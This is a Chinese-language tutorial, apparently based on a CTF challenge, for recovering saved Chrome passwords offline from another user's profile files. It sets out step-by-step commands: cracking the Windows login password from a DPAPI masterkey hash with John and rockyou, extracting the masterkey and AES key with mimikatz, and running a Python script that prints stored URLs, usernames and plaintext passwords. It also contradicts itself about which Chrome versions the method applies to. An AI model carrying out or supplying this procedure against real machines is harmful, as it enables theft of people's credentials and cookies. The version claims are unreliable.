通过Chrome配置文件离线还原账号密码
前提是有以下三个文件,并且Chrome版本是80.X版本之前:
- Local State(存储加密过的AES密钥)
- Login Data(存储网站保存的账号、加密过的密码)
- masterkey file(存储masterkey)
对应默认目录:
%APPDATA%\Local\Google\Chrome\User Data\Default\Login Data
%APPDATA%\Local\Google\Chrome\User Data\Local State
%APPDATA%\Roaming\Microsoft\Protect{sid}}\
补充描述:
- DPAPI
Data Protection API,是Windows提供的用于数据保护的一套接口。
这个接口在windows中大量的使用来加密数据
- DPAPI blob
一段密文,可使用Master Key对其解密
- masterkey
64字节,用于解密DPAPI blob
通过用户登录密码、SID和16字节随机数加密后保存在masterkey file中
- masterkey file
二进制文件,位于%APPDATA%\Microsoft\Protect\%SID%,
属于系统隐藏文件,可使用用户登录密码对其解密,获得Master Key
Chrome使用GCM模式的AES算法,利用DPAPI的CryptProtectData函数,并配合当前用户的密码保护数据——因此只有具有与加密数据用户的登录凭据匹配的用户才能解密数据(也就是需要masterkey),单单利用CryptUnprotectData函数只能解密本机的Chrome密码。
那么当我们解的不是本机的Chrome密码,只有Chrome配置文件没有对应masterkey应该怎么还原密码呢?
方法如下:
Step1、用DPAPImk2john.py提取用户的 hash 值
python DPAPImk2john.py --sid="S-1-5-21-440314382-4097440215-1133304494-1002" --masterkey="S-1-5-21-440314382-4097440215-1133304494-1002/4b730283-9406-461f-ac8d-689738b97400" --context="local" > hash.txt
step2、在 kali 使用 john 的 rockyou 字典爆破密码
john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
得到用户密码:breakers
step3、在 mimikatz 利用用户密码获取 masterkey
dpapi::masterkey /in:S-1-5-21-440314382-4097440215-1133304494-1002/4b730283-9406-461f-ac8d-689738b97400 /sid:S-1-5-21-440314382-4097440215-1133304494-1002 /password:breakers /protected
PS:如果还有 Cookies 文件,此时可以直接用 masterkey 解
dpapi::chrome /in:"Cookies" /unprotect /masterkey:7a4d2ffbb42d0a1ab46f0351260aef16cae699e03e9d6514b3bf10e2977c5d228fda4a48e39b7b8a06a443c39653c2a3c3656596e7edc84e1c9682511c8343ac
step4、提取 Login State 中的 DPAPI blob
import json
import base64
fh = open('AppData/Local/Google/Chrome/User Data/Local State', 'rb')
encrypted_key = json.load(fh)
encrypted_key = encrypted_key['os_crypt']['encrypted_key']
decrypted_key = base64.b64decode(encrypted_key)
open("dec_data",'wb').write(decrypted_key[5:])
step5、在 mimikatz 利用 masterkey 解密 DPAPI blob,获得AES密钥
dpapi::blob /masterkey:93fde93933480b9125aa4817730ad96ad5851e5d0b5c11cc70aab4e8b55ca0f426a366e5de5cc8237ec1a5f73b0d5df8c5b11a2c8409df92e2b3d34a9914781d /in:"dec_data" /out:aes.dec
step6、利用AES密钥还原 Chrome 账号密码
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
def get_secret_key():
secret_key = open('aes.dec', 'rb').read()
return secret_key
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
return ""
def get_db_connection(chrome_path_login_db):
try:
return sqlite3.connect(chrome_path_login_db)
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None
if __name__ == '__main__':
secret_key = get_secret_key()
# chrome_path_login_db = r"AppData\AppData\Local\Google\Chrome\User Data\Default\Login Data"
chrome_path_login_db = r"Login Data"
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
# if(url!="" and username!="" and ciphertext!=""):
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
print("*"*50)
cursor.close()
conn.close()
else:
print("error1")
得到密码981f4821-2cc4-459e-8528-4b2c111a7b52
PS:也可以在step2得到用户密码后,直接使用chromepass工具直接解密密码
参考文章:
CA CTF 2022: Using pentesting techniques to decrypt Chrome’s passwords - Seized (hackthebox.com)